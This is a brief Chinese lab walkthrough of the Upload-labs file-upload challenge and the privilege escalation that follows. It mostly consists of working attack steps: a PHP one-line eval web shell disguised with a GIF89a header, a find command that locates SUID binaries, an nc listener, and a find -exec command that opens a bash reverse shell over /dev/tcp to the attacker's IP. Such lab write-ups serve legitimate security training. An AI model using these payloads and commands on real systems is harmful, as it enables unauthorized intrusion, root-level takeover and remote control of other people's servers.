文件上传及提权
就从Upload-labs的第一关做演示
依旧一句话木马
GIF89a
<?php eval($_POST['a']);?>
依旧禁用JavaScript，上传木马
上传成功！
访问页面，复制URL
蚁剑连接
连接成功！
看一下他的权限
www-data低权限。那就想办法提权！
使用find命令查看具有suid权限的文件，发现有find文件
find / -perm -u=s -type f 2>/dev/null
打开kali，使用nc监听6666
nc -lvp 6666
回到目标机输入命令find /etc/passwd -exec bash -ip >& /dev/tcp/你的IP/6666 0>&1 \;
查看kali
有了！可以为所欲为了
